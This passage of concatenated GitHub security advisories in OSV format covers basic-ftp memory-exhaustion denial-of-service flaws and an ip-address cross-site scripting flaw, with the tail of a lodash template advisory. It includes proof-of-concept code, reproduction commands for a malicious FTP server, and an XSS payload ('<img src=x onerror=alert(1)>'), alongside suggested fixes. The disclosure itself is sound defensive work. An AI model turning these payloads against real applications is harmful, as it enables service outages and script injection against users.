"url": "https://github.com/lodash/lodash/security/advisories/GHSA-r5fr-rjxr-66jc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4800"
},
{
"type": "WEB",
"url": "https://github.com/lodash/lodash/commit/3469357cff396a26c363f8c1b5a91dde28ba4b1c"
},
{
"type": "WEB",
"url": "https://cna.openjsf.org/security-advisories.html"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-35jh-r3h4-6jhm"
},
{
"type": "PACKAGE",
"url": "https://github.com/lodash/lodash"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "lodash vulnerable to Code Injection via `_.template` imports key names"
}
GHSA-RP42-5VXX-QPWR
Vulnerability from github – Published: 2026-04-16 21:37 – Updated: 2026-04-24 21:02Summary
basic-ftp@5.2.2 is vulnerable to denial of service through unbounded memory growth while processing directory listings from a remote FTP server. A malicious or compromised server can send an extremely large or never-ending listing response to Client.list(), causing the client process to consume memory until it becomes unstable or crashes.
Details
The issue is in the package's default directory listing flow.
Client.list() reaches dist/Client.js, where the full listing response is downloaded into a StringWriter before parsing:
File: dist/Client.js:516-527
async _requestListWithCommand(command) {
const buffer = new StringWriter_1.StringWriter();
await (0, transfer_1.downloadTo)(buffer, {
ftp: this.ftp,
tracker: this._progressTracker,
command,
remotePath: "",
type: "list"
});
const text = buffer.getText(this.ftp.encoding);
this.ftp.log(text);
return this.parseList(text);
}
The vulnerable sink is StringWriter, which grows an in-memory Buffer with no limit:
File: dist/StringWriter.js:5-20
class StringWriter extends stream_1.Writable {
constructor() {
super(...arguments);
this.buf = Buffer.alloc(0);
}
_write(chunk, _, callback) {
if (chunk instanceof Buffer) {
this.buf = Buffer.concat([this.buf, chunk]);
callback(null);
}
else {
callback(new Error("StringWriter expects chunks of type 'Buffer'."));
}
}
getText(encoding) {
return this.buf.toString(encoding);
}
}
The critical operation is:
this.buf = Buffer.concat([this.buf, chunk]);
There is no maximum size check, no truncation, and no streaming parser. Because the remote FTP server controls the listing response, it can force the client to keep allocating memory until the process is terminated.
How it happens:
- An application connects to an attacker-controlled or compromised FTP server.
- The application calls
client.list(). - The server returns an extremely large or unbounded directory listing.
basic-ftpbuffers the full response inStringWriter.- Memory grows without bound due to repeated
Buffer.concat(...)calls.
PoC
The following PoC exercises the vulnerable buffering primitive directly:
const { StringWriter } = require("basic-ftp/dist/StringWriter.js");
function mb(n) {
return Math.round(n / 1024 / 1024) + "MB";
}
const writer = new StringWriter();
let wrote = 0;
for (let i = 0; i < 32; i++) {
const chunk = Buffer.alloc(4 * 1024 * 1024, 0x41);
writer.write(chunk);
wrote += chunk.length;
if ((i + 1) % 8 === 0) {
const m = process.memoryUsage();
console.log("written", mb(wrote), "rss", mb(m.rss), "heap", mb(m.heapUsed), "buf", mb(m.arrayBuffers));
}
}
console.log("final text len", writer.getText("utf8").length);
Observed output:
written 32MB rss 116MB heap 4MB buf 64MB
written 64MB rss 296MB heap 4MB buf 240MB
written 96MB rss 340MB heap 3MB buf 284MB
written 128MB rss 436MB heap 3MB buf 376MB
final text len 134217728
This demonstrates sustained memory growth in the same code path used to buffer directory listing data.
Supporting files saved alongside this report:
poc.jspoc_output.txt
Impact
This is a denial-of-service vulnerability affecting applications that use basic-ftp to list directories from remote FTP servers.
- Vulnerability class: Memory exhaustion / Denial of Service
- Attack precondition: The victim connects to a malicious or compromised FTP server and performs
Client.list() - Impacted users: Any application or service using
basic-ftp@5.2.2against untrusted FTP endpoints - Security effect: The attacker can cause excessive memory consumption, process instability, and potential process termination
Recommended remediation:
- Enforce a maximum listing size.
- Abort transfers that exceed the configured limit.
- Prefer incremental or streaming parsing over full-response buffering.
Example defensive check:
if (this.buf.length + chunk.length > MAX_LISTING_BYTES) {
callback(new Error("FTP listing exceeds maximum allowed size."));
return;
}
this.buf = Buffer.concat([this.buf, chunk]);
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.2.2"
},
"package": {
"ecosystem": "npm",
"name": "basic-ftp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41324"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T21:37:48Z",
"nvd_published_at": "2026-04-24T04:16:20Z",
"severity": "HIGH"
},
"details": "### Summary\n`basic-ftp@5.2.2` is vulnerable to denial of service through unbounded memory growth while processing directory listings from a remote FTP server. A malicious or compromised server can send an extremely large or never-ending listing response to `Client.list()`, causing the client process to consume memory until it becomes unstable or crashes.\n\n### Details\nThe issue is in the package\u0027s default directory listing flow.\n\n`Client.list()` reaches `dist/Client.js`, where the full listing response is downloaded into a `StringWriter` before parsing:\n\nFile: `dist/Client.js:516-527`\n\n```js\nasync _requestListWithCommand(command) {\n const buffer = new StringWriter_1.StringWriter();\n await (0, transfer_1.downloadTo)(buffer, {\n ftp: this.ftp,\n tracker: this._progressTracker,\n command,\n remotePath: \"\",\n type: \"list\"\n });\n const text = buffer.getText(this.ftp.encoding);\n this.ftp.log(text);\n return this.parseList(text);\n}\n```\n\nThe vulnerable sink is `StringWriter`, which grows an in-memory `Buffer` with no limit:\n\nFile: `dist/StringWriter.js:5-20`\n\n```js\nclass StringWriter extends stream_1.Writable {\n constructor() {\n super(...arguments);\n this.buf = Buffer.alloc(0);\n }\n _write(chunk, _, callback) {\n if (chunk instanceof Buffer) {\n this.buf = Buffer.concat([this.buf, chunk]);\n callback(null);\n }\n else {\n callback(new Error(\"StringWriter expects chunks of type \u0027Buffer\u0027.\"));\n }\n }\n getText(encoding) {\n return this.buf.toString(encoding);\n }\n}\n```\n\nThe critical operation is:\n\n```js\nthis.buf = Buffer.concat([this.buf, chunk]);\n```\n\nThere is no maximum size check, no truncation, and no streaming parser. Because the remote FTP server controls the listing response, it can force the client to keep allocating memory until the process is terminated.\n\nHow it happens:\n\n1. An application connects to an attacker-controlled or compromised FTP server.\n2. The application calls `client.list()`.\n3. The server returns an extremely large or unbounded directory listing.\n4. `basic-ftp` buffers the full response in `StringWriter`.\n5. Memory grows without bound due to repeated `Buffer.concat(...)` calls.\n\n### PoC\nThe following PoC exercises the vulnerable buffering primitive directly:\n\n```js\nconst { StringWriter } = require(\"basic-ftp/dist/StringWriter.js\");\n\nfunction mb(n) {\n return Math.round(n / 1024 / 1024) + \"MB\";\n}\n\nconst writer = new StringWriter();\nlet wrote = 0;\n\nfor (let i = 0; i \u003c 32; i++) {\n const chunk = Buffer.alloc(4 * 1024 * 1024, 0x41);\n writer.write(chunk);\n wrote += chunk.length;\n\n if ((i + 1) % 8 === 0) {\n const m = process.memoryUsage();\n console.log(\"written\", mb(wrote), \"rss\", mb(m.rss), \"heap\", mb(m.heapUsed), \"buf\", mb(m.arrayBuffers));\n }\n}\n\nconsole.log(\"final text len\", writer.getText(\"utf8\").length);\n```\n\nObserved output:\n\n```text\nwritten 32MB rss 116MB heap 4MB buf 64MB\nwritten 64MB rss 296MB heap 4MB buf 240MB\nwritten 96MB rss 340MB heap 3MB buf 284MB\nwritten 128MB rss 436MB heap 3MB buf 376MB\nfinal text len 134217728\n```\n\nThis demonstrates sustained memory growth in the same code path used to buffer directory listing data.\n\nSupporting files saved alongside this report:\n\n- `poc.js`\n- `poc_output.txt`\n\n### Impact\nThis is a denial-of-service vulnerability affecting applications that use `basic-ftp` to list directories from remote FTP servers.\n\n- Vulnerability class: Memory exhaustion / Denial of Service\n- Attack precondition: The victim connects to a malicious or compromised FTP server and performs `Client.list()`\n- Impacted users: Any application or service using `basic-ftp@5.2.2` against untrusted FTP endpoints\n- Security effect: The attacker can cause excessive memory consumption, process instability, and potential process termination\n\nRecommended remediation:\n\n1. Enforce a maximum listing size.\n2. Abort transfers that exceed the configured limit.\n3. Prefer incremental or streaming parsing over full-response buffering.\n\nExample defensive check:\n\n```js\nif (this.buf.length + chunk.length \u003e MAX_LISTING_BYTES) {\n callback(new Error(\"FTP listing exceeds maximum allowed size.\"));\n return;\n}\nthis.buf = Buffer.concat([this.buf, chunk]);\n```",
"id": "GHSA-rp42-5vxx-qpwr",
"modified": "2026-04-24T21:02:13Z",
"published": "2026-04-16T21:37:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-rp42-5vxx-qpwr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41324"
},
{
"type": "PACKAGE",
"url": "https://github.com/patrickjuchli/basic-ftp"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "basic-ftp vulnerable to denial of service via unbounded memory consumption in Client.list()"
}
GHSA-RPMF-866Q-6P89
Vulnerability from github – Published: 2026-05-06 19:37 – Updated: 2026-05-13 16:29Summary
basic-ftp is vulnerable to client-side denial of service when parsing FTP control-channel multiline responses.
A malicious or compromised FTP server can send an unterminated multiline response during the initial FTP banner phase, before authentication. The client keeps appending attacker-controlled data into FtpContext._partialResponse and repeatedly reparses the accumulated buffer without enforcing a maximum control response size.
As a result, an application using basic-ftp can remain stuck in connect() while memory and CPU usage grow under attacker-controlled input. This can lead to process-level denial of service, container OOM kills, worker restarts, queue backlog, or service degradation in applications that automatically connect to FTP endpoints.
Details
Root cause
The root cause is that incomplete FTP multiline control responses are buffered without an upper bound.
FtpContext stores incomplete control-channel data in _partialResponse:
https://github.com/patrickjuchli/basic-ftp/blob/50827c73ca6c1d786c97276e47be8a33d0f2277d/src/FtpContext.ts#L63-L64
Incoming control-channel data is handled in _onControlSocketData. The implementation concatenates the previous incomplete response with the new chunk, parses the entire accumulated string, and stores parsed.rest back into _partialResponse:
https://github.com/patrickjuchli/basic-ftp/blob/50827c73ca6c1d786c97276e47be8a33d0f2277d/src/FtpContext.ts#L328-L340
The relevant flow is:
completeResponse = this._partialResponse + chunk parsed = parseControlResponse(completeResponse) this._partialResponse = parsed.rest
There is no maximum size check before concatenating, before parsing, or before storing parsed.rest.
The parser accepts incomplete multiline responses and returns the entire unterminated multiline group as rest:
https://github.com/patrickjuchli/basic-ftp/blob/50827c73ca6c1d786c97276e47be8a33d0f2277d/src/parseControlResponse.ts#L15-L43
If a server starts a multiline FTP response:
220-malicious banner starts
but never sends the terminating line:
220 ready
then parseControlResponse() treats the accumulated multiline data as incomplete and returns it as rest.
Because _onControlSocketData() feeds _partialResponse + chunk back into the parser on every new data event, the client repeatedly reparses a growing attacker-controlled buffer. This creates both memory growth and increasing parsing work.
Why this is security-relevant
The vulnerable component is a client library. The attacker does not need to authenticate to the victim system and does not need valid FTP credentials.
The attack occurs automatically when an application using basic-ftp connects to a malicious or compromised FTP server. The malicious response is sent as the FTP server banner before login. No additional user interaction is required after the application initiates a normal FTP connection.
This is realistic for applications that use FTP for:
- scheduled imports or exports
- customer-provided FTP endpoints
- backup or synchronization jobs
- CI/CD artifact mirroring
- document ingestion pipelines
- legacy business integrations
In those environments, one malicious or compromised FTP endpoint can cause the Node.js process using basic-ftp to consume excessive memory and CPU or remain stuck in a pending connection state.
Proof of Concept
The PoC uses a local malicious FTP server that accepts a victim connection and sends an unterminated multiline FTP banner. The banner starts with 220-, but the server never sends the required terminating 220 line.
Reproduction steps
From the root of the basic-ftp project:
npm ci
npm run buildOnly
CHUNKS=1000 node poc_control_parser_direct.js | tee poc-results/parser_direct_1000.log
Run the end-to-end malicious FTP server PoC:
CHUNK_SIZE=8192 CHUNKS=1000 DELAY_MS=1 node poc_control_multiline_dos.js | tee poc-results/control_multiline_dos_1000.log
control_multiline_dos_1000.log
Observed result: parser-only PoC
[basic-ftp parseControlResponse incomplete multiline DoS]
Input fed: 7.81 MiB
Retained rest: 7.81 MiB
Initial rss/heap: 54.77 MiB 3.69 MiB
Final rss/heap: 141.64 MiB 80.77 MiB
This shows that parseControlResponse() retained the full unterminated multiline response as rest.
The retained buffer grew to 7.81 MiB. Heap usage increased from 3.69 MiB to 80.77 MiB, and RSS increased from 54.77 MiB to 141.64 MiB.
Observed result: end-to-end malicious FTP server PoC
[server] listening on 127.0.0.1:34429
[server] victim connected
[progress] chunks=850 sent=6.6 MiB partialResponse=6.6 MiB heapUsed=227.5 MiB rss=292.4 MiB
[progress] chunks=900 sent=7.0 MiB partialResponse=7.0 MiB heapUsed=213.1 MiB rss=278.0 MiB
[final-before-close] chunks=1000 sent=7.8 MiB partialResponse=7.8 MiB heapUsed=82.1 MiB rss=146.8 MiB
[result] client connect() is still pending because the multiline response never terminated
Only 7.8 MiB of malicious control-channel data was sent. The client retained 7.8 MiB in _partialResponse, showed large memory spikes, and remained pending inside connect() because the multiline response was never terminated.
Expected behavior
The client should enforce a maximum size for incomplete FTP control responses. If the accumulated multiline response exceeds a safe limit, the client should close the connection and reject the active task with an error.
The client should not allow a remote FTP server to make _partialResponse grow without bound.
Actual behavior
A malicious FTP server can keep the client in a pending connection state by sending an unterminated multiline control response. basic-ftp continues buffering and reparsing the accumulated data without a maximum response size.
Impact
A malicious or compromised FTP server can cause denial of service in applications using basic-ftp.
Possible real-world impact includes:
- Node.js process memory exhaustion
- container OOM kill
- worker crash or restart loop
- event loop CPU pressure due to repeated reparsing
- stuck FTP jobs
- queue backlog in scheduled import/export systems
- degraded availability of services relying on automated FTP ingestion
Threat model
The attacker controls, compromises, or can impersonate an FTP server that a victim application connects to.
Examples:
- A SaaS application allows customers to configure external FTP endpoints for automated imports.
- A backend job periodically pulls files from partner FTP servers.
- A document ingestion pipeline connects to FTP endpoints supplied by external users.
- A legacy integration uses FTP for scheduled synchronization.
- A build or deployment pipeline mirrors artifacts from an FTP server.
In each case, the victim application initiates a normal FTP connection. The malicious server sends an unterminated multiline banner before authentication. The vulnerable client then buffers and reparses the response indefinitely.
No FTP credentials are required for exploitation because the attack happens before login.
Suggested fix
Introduce a maximum control response buffer size, especially for incomplete multiline responses.
Recommended changes:
- Add a
maxControlResponseBytesormaxControlResponseLengthlimit. - Enforce the limit before or immediately after appending new control-channel data.
- Close the connection and reject the active task when the limit is exceeded.
- Add regression tests for unterminated multiline responses.
Example defensive logic:
if (completeResponse.length > maxControlResponseLength) {
closeWithError(new Error("FTP control response exceeded maximum allowed size"))
}
A regression test should verify that a response beginning with 220- and never terminating with 220 is rejected after the configured size limit instead of being retained indefinitely.
Suggested regression test scenario
A test server should:
- Accept a client connection.
- Send an FTP multiline response opener such as
220-malicious banner\r\n. - Continue sending additional lines without ever sending the terminating
220line. - Verify that the client rejects the connection once the configured response-size limit is exceeded.
- Verify that
_partialResponsedoes not grow without bound.
Credit request
If you publish an advisory or assign a CVE, please credit me as:
Ali Firas (thesmartshadow) - https://www.smartshadow.dev
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.3.0"
},
"package": {
"ecosystem": "npm",
"name": "basic-ftp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.3.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44240"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T19:37:33Z",
"nvd_published_at": "2026-05-12T21:16:16Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`basic-ftp` is vulnerable to client-side denial of service when parsing FTP control-channel multiline responses.\n\nA malicious or compromised FTP server can send an unterminated multiline response during the initial FTP banner phase, before authentication. The client keeps appending attacker-controlled data into `FtpContext._partialResponse` and repeatedly reparses the accumulated buffer without enforcing a maximum control response size.\n\nAs a result, an application using `basic-ftp` can remain stuck in `connect()` while memory and CPU usage grow under attacker-controlled input. This can lead to process-level denial of service, container OOM kills, worker restarts, queue backlog, or service degradation in applications that automatically connect to FTP endpoints.\n\n---\n\n## Details\n\n### Root cause\n\nThe root cause is that incomplete FTP multiline control responses are buffered without an upper bound.\n\n`FtpContext` stores incomplete control-channel data in `_partialResponse`:\n\n\nhttps://github.com/patrickjuchli/basic-ftp/blob/50827c73ca6c1d786c97276e47be8a33d0f2277d/src/FtpContext.ts#L63-L64\n\n\nIncoming control-channel data is handled in `_onControlSocketData`. The implementation concatenates the previous incomplete response with the new chunk, parses the entire accumulated string, and stores `parsed.rest` back into `_partialResponse`:\n\n\nhttps://github.com/patrickjuchli/basic-ftp/blob/50827c73ca6c1d786c97276e47be8a33d0f2277d/src/FtpContext.ts#L328-L340\n\n\nThe relevant flow is:\n\n\ncompleteResponse = this._partialResponse + chunk\nparsed = parseControlResponse(completeResponse)\nthis._partialResponse = parsed.rest\n\n\nThere is no maximum size check before concatenating, before parsing, or before storing `parsed.rest`.\n\nThe parser accepts incomplete multiline responses and returns the entire unterminated multiline group as `rest`:\n\n\nhttps://github.com/patrickjuchli/basic-ftp/blob/50827c73ca6c1d786c97276e47be8a33d0f2277d/src/parseControlResponse.ts#L15-L43\n\n\nIf a server starts a multiline FTP response:\n\n\n220-malicious banner starts\n\n\nbut never sends the terminating line:\n\n\n220 ready\n\n\nthen `parseControlResponse()` treats the accumulated multiline data as incomplete and returns it as `rest`.\n\nBecause `_onControlSocketData()` feeds `_partialResponse + chunk` back into the parser on every new data event, the client repeatedly reparses a growing attacker-controlled buffer. This creates both memory growth and increasing parsing work.\n\n### Why this is security-relevant\n\nThe vulnerable component is a client library. The attacker does not need to authenticate to the victim system and does not need valid FTP credentials.\n\nThe attack occurs automatically when an application using `basic-ftp` connects to a malicious or compromised FTP server. The malicious response is sent as the FTP server banner before login. No additional user interaction is required after the application initiates a normal FTP connection.\n\nThis is realistic for applications that use FTP for:\n\n- scheduled imports or exports\n- customer-provided FTP endpoints\n- backup or synchronization jobs\n- CI/CD artifact mirroring\n- document ingestion pipelines\n- legacy business integrations\n\nIn those environments, one malicious or compromised FTP endpoint can cause the Node.js process using `basic-ftp` to consume excessive memory and CPU or remain stuck in a pending connection state.\n\n---\n\n## Proof of Concept\n\nThe PoC uses a local malicious FTP server that accepts a victim connection and sends an unterminated multiline FTP banner. The banner starts with `220-`, but the server never sends the required terminating `220 ` line.\n\n### Reproduction steps\n\nFrom the root of the `basic-ftp` project:\n\n```bash\nnpm ci\nnpm run buildOnly\n```\n\n[poc_control_parser_direct.js](https://github.com/user-attachments/files/27051425/poc_control_parser_direct.js)\n\n```bash\nCHUNKS=1000 node poc_control_parser_direct.js | tee poc-results/parser_direct_1000.log\n```\n\n[parser_direct_1000.log](https://github.com/user-attachments/files/27051430/parser_direct_1000.log)\n\nRun the end-to-end malicious FTP server PoC:\n\n[poc_control_multiline_dos.js](https://github.com/user-attachments/files/27051385/poc_control_multiline_dos.js)\n\n```bash\nCHUNK_SIZE=8192 CHUNKS=1000 DELAY_MS=1 node poc_control_multiline_dos.js | tee poc-results/control_multiline_dos_1000.log\n```\n\n[control_multiline_dos_1000.log](https://github.com/user-attachments/files/27051397/control_multiline_dos_1000.log)\n\n### Observed result: parser-only PoC\n\n```text\n[basic-ftp parseControlResponse incomplete multiline DoS]\nInput fed: 7.81 MiB\nRetained rest: 7.81 MiB\nInitial rss/heap: 54.77 MiB 3.69 MiB\nFinal rss/heap: 141.64 MiB 80.77 MiB\n```\n\nThis shows that `parseControlResponse()` retained the full unterminated multiline response as `rest`.\n\nThe retained buffer grew to `7.81 MiB`. Heap usage increased from `3.69 MiB` to `80.77 MiB`, and RSS increased from `54.77 MiB` to `141.64 MiB`.\n\n### Observed result: end-to-end malicious FTP server PoC\n\n```text\n[server] listening on 127.0.0.1:34429\n[server] victim connected\n[progress] chunks=850 sent=6.6 MiB partialResponse=6.6 MiB heapUsed=227.5 MiB rss=292.4 MiB\n[progress] chunks=900 sent=7.0 MiB partialResponse=7.0 MiB heapUsed=213.1 MiB rss=278.0 MiB\n[final-before-close] chunks=1000 sent=7.8 MiB partialResponse=7.8 MiB heapUsed=82.1 MiB rss=146.8 MiB\n[result] client connect() is still pending because the multiline response never terminated\n```\n\nOnly `7.8 MiB` of malicious control-channel data was sent. The client retained `7.8 MiB` in `_partialResponse`, showed large memory spikes, and remained pending inside `connect()` because the multiline response was never terminated.\n\n---\n\n## Expected behavior\n\nThe client should enforce a maximum size for incomplete FTP control responses. If the accumulated multiline response exceeds a safe limit, the client should close the connection and reject the active task with an error.\n\nThe client should not allow a remote FTP server to make `_partialResponse` grow without bound.\n\n---\n\n## Actual behavior\n\nA malicious FTP server can keep the client in a pending connection state by sending an unterminated multiline control response. `basic-ftp` continues buffering and reparsing the accumulated data without a maximum response size.\n\n---\n\n## Impact\n\nA malicious or compromised FTP server can cause denial of service in applications using `basic-ftp`.\n\nPossible real-world impact includes:\n\n- Node.js process memory exhaustion\n- container OOM kill\n- worker crash or restart loop\n- event loop CPU pressure due to repeated reparsing\n- stuck FTP jobs\n- queue backlog in scheduled import/export systems\n- degraded availability of services relying on automated FTP ingestion\n\n---\n\n## Threat model\n\nThe attacker controls, compromises, or can impersonate an FTP server that a victim application connects to.\n\nExamples:\n\n1. A SaaS application allows customers to configure external FTP endpoints for automated imports.\n2. A backend job periodically pulls files from partner FTP servers.\n3. A document ingestion pipeline connects to FTP endpoints supplied by external users.\n4. A legacy integration uses FTP for scheduled synchronization.\n5. A build or deployment pipeline mirrors artifacts from an FTP server.\n\nIn each case, the victim application initiates a normal FTP connection. The malicious server sends an unterminated multiline banner before authentication. The vulnerable client then buffers and reparses the response indefinitely.\n\nNo FTP credentials are required for exploitation because the attack happens before login.\n\n---\n\n## Suggested fix\n\nIntroduce a maximum control response buffer size, especially for incomplete multiline responses.\n\nRecommended changes:\n\n- Add a `maxControlResponseBytes` or `maxControlResponseLength` limit.\n- Enforce the limit before or immediately after appending new control-channel data.\n- Close the connection and reject the active task when the limit is exceeded.\n- Add regression tests for unterminated multiline responses.\n\nExample defensive logic:\n\n```text\nif (completeResponse.length \u003e maxControlResponseLength) {\n closeWithError(new Error(\"FTP control response exceeded maximum allowed size\"))\n}\n```\n\nA regression test should verify that a response beginning with `220-` and never terminating with `220 ` is rejected after the configured size limit instead of being retained indefinitely.\n\n---\n\n## Suggested regression test scenario\n\nA test server should:\n\n1. Accept a client connection.\n2. Send an FTP multiline response opener such as `220-malicious banner\\r\\n`.\n3. Continue sending additional lines without ever sending the terminating `220 ` line.\n4. Verify that the client rejects the connection once the configured response-size limit is exceeded.\n5. Verify that `_partialResponse` does not grow without bound.\n\n## Credit request\nIf you publish an advisory or assign a CVE, please credit me as:\n\nAli Firas (thesmartshadow) - https://www.smartshadow.dev",
"id": "GHSA-rpmf-866q-6p89",
"modified": "2026-05-13T16:29:59Z",
"published": "2026-05-06T19:37:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-rpmf-866q-6p89"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44240"
},
{
"type": "PACKAGE",
"url": "https://github.com/patrickjuchli/basic-ftp"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "basic-ftp allows a malicious FTP server to cause client-side denial of service via unbounded multiline control response buffering"
}
GHSA-V2V4-37R5-5V8G
Vulnerability from github – Published: 2026-05-05 21:50 – Updated: 2026-05-13 16:27Summary
Address6.group() and Address6.link() do not HTML-escape attacker-controlled content before embedding it in the HTML strings they return, and AddressError.parseMessage (emitted by the Address6 constructor for invalid input) can contain unescaped attacker-controlled content in one branch. An application that (1) passes untrusted input to Address6 and (2) renders the output of these methods, or the thrown error's parseMessage, as HTML (e.g. via innerHTML) is vulnerable to cross-site scripting. A related issue in v6.helpers.spanAll() produced malformed markup but was not exploitable; it is hardened in the same release for consistency.
Details
Four related issues were identified and fixed together:
Address6.group(): zone ID injection. TheAddress6constructor stores the raw input (including any IPv6 zone ID) inthis.addressbefore zone stripping.group()then passedthis.addresstohelpers.simpleGroup(), which wrapped each:-separated segment in a<span>element without HTML-escaping the content. A zone ID containing HTML markup was embedded verbatim.Address6.link({ prefix, className }): attribute-value injection.link()concatenated user-suppliedprefixandclassNameinto thehref="…"andclass="…"attributes without escaping. A caller passing untrusted content through these options could inject event handlers (e.g.onmouseover) and achieve XSS.Address6constructor: leading-zero IPv4 error path. The leading-zero branch inparse4in6()builtAddressError.parseMessageby concatenating the raw address throughString.replace(). Becauseparse4in6()runs before the bad-character check, any characters in the groups preceding the IPv4 suffix flowed into the error's HTML unescaped. Consumers who renderparseMessageas HTML (its documented purpose — it already contains<span class="parse-error">markup) could be XSS'd by a crafted input such as<img src=x onerror=alert(1)>:10.0.01.1.v6.helpers.spanAll(): attribute-value injection (defense in depth).spanAll()embedded each character of its input into aclass="digit value-${n} …"attribute without escaping. Becausesplit('')limitsnto a single character this was not exploitable in practice, but it produced malformed markup and is fixed for consistency.
Affected Versions
All versions up to and including 10.1.0.
Patched Version
10.1.1.
Impact
Real-world exposure is believed to be extremely limited. Analysis of all 425 dependent npm packages as well as GitHub code search found zero consumers of group(), link(), or spanAll(): these HTML-emitting surfaces appear to be unused across published npm packages and public repositories. Applications using only the address-parsing and comparison APIs (isValid, correctForm, isInSubnet, bigInt, etc.) are not affected.
Consumers who do render the output of group(), link(), spanAll(), or AddressError.parseMessage as HTML against untrusted input should upgrade.
PoC
const { Address6 } = require('ip-address');
const addr = new Address6('fe80::1%<img src=x onerror=alert(1)>');
document.body.innerHTML = addr.group(); // fires the onerror handler in 10.1.0
Workarounds
If users cannot upgrade immediately:
- Do not pass untrusted input to the
Address6constructor, or - Never render the output of
group(),link(), orspanAll(), nor theparseMessagefield of any thrownAddressError, as HTML; treat these values as text only, or run them through DOMPurify before inserting into the DOM (DOMPurify's default configuration preserves the library's intended<span>wrapping while stripping any injected event handlers), or - Validate input with
Address6.isValid()and reject anything that contains a zone identifier (a%character) or characters outside[0-9a-fA-F:/]before passing it to the constructor.
Lack of separate CVEs
Given the evidence that these methods are not used, and given that they are all of the same construction, maintainers do not think it's relevant or useful to create a separate CVE for each library method.
Credit
ip-address thanks @scovetta for reporting this issue.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 10.1.0"
},
"package": {
"ecosystem": "npm",
"name": "ip-address"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "10.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42338"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T21:50:58Z",
"nvd_published_at": "2026-05-12T20:16:41Z",
"severity": "MODERATE"
},
"details": "### Summary\n\n`Address6.group()` and `Address6.link()` do not HTML-escape attacker-controlled content before embedding it in the HTML strings they return, and `AddressError.parseMessage` (emitted by the `Address6` constructor for invalid input) can contain unescaped attacker-controlled content in one branch. An application that (1) passes untrusted input to `Address6` and (2) renders the output of these methods, or the thrown error\u0027s `parseMessage`, as HTML (e.g. via `innerHTML`) is vulnerable to cross-site scripting. A related issue in `v6.helpers.spanAll()` produced malformed markup but was not exploitable; it is hardened in the same release for consistency.\n\n### Details\n\nFour related issues were identified and fixed together:\n\n1. **`Address6.group()`: zone ID injection.** The `Address6` constructor stores the raw input (including any IPv6 zone ID) in `this.address` before zone stripping. `group()` then passed `this.address` to `helpers.simpleGroup()`, which wrapped each `:`-separated segment in a `\u003cspan\u003e` element without HTML-escaping the content. A zone ID containing HTML markup was embedded verbatim.\n2. **`Address6.link({ prefix, className })`: attribute-value injection.** `link()` concatenated user-supplied `prefix` and `className` into the `href=\"\u2026\"` and `class=\"\u2026\"` attributes without escaping. A caller passing untrusted content through these options could inject event handlers (e.g. `onmouseover`) and achieve XSS.\n3. **`Address6` constructor: leading-zero IPv4 error path.** The leading-zero branch in `parse4in6()` built `AddressError.parseMessage` by concatenating the raw address through `String.replace()`. Because `parse4in6()` runs before the bad-character check, any characters in the groups preceding the IPv4 suffix flowed into the error\u0027s HTML unescaped. Consumers who render `parseMessage` as HTML (its documented purpose \u2014 it already contains `\u003cspan class=\"parse-error\"\u003e` markup) could be XSS\u0027d by a crafted input such as `\u003cimg src=x onerror=alert(1)\u003e:10.0.01.1`.\n4. **`v6.helpers.spanAll()`: attribute-value injection (defense in depth).** `spanAll()` embedded each character of its input into a `class=\"digit value-${n} \u2026\"` attribute without escaping. Because `split(\u0027\u0027)` limits `n` to a single character this was not exploitable in practice, but it produced malformed markup and is fixed for consistency.\n\n### Affected Versions\n\nAll versions up to and including `10.1.0`.\n\n### Patched Version\n\n`10.1.1`.\n\n### Impact\n\nReal-world exposure is believed to be extremely limited. Analysis of all 425 dependent npm packages as well as GitHub code search found zero consumers of `group()`, `link()`, or `spanAll()`: these HTML-emitting surfaces appear to be unused across published npm packages and public repositories. Applications using only the address-parsing and comparison APIs (`isValid`, `correctForm`, `isInSubnet`, `bigInt`, etc.) are not affected.\n\nConsumers who **do** render the output of `group()`, `link()`, `spanAll()`, or `AddressError.parseMessage` as HTML against untrusted input should upgrade.\n\n### PoC\n\n```javascript\nconst { Address6 } = require(\u0027ip-address\u0027);\nconst addr = new Address6(\u0027fe80::1%\u003cimg src=x onerror=alert(1)\u003e\u0027);\ndocument.body.innerHTML = addr.group(); // fires the onerror handler in 10.1.0\n```\n\n### Workarounds\n\nIf users cannot upgrade immediately:\n\n- Do not pass untrusted input to the `Address6` constructor, or\n- Never render the output of `group()`, `link()`, or `spanAll()`, nor the 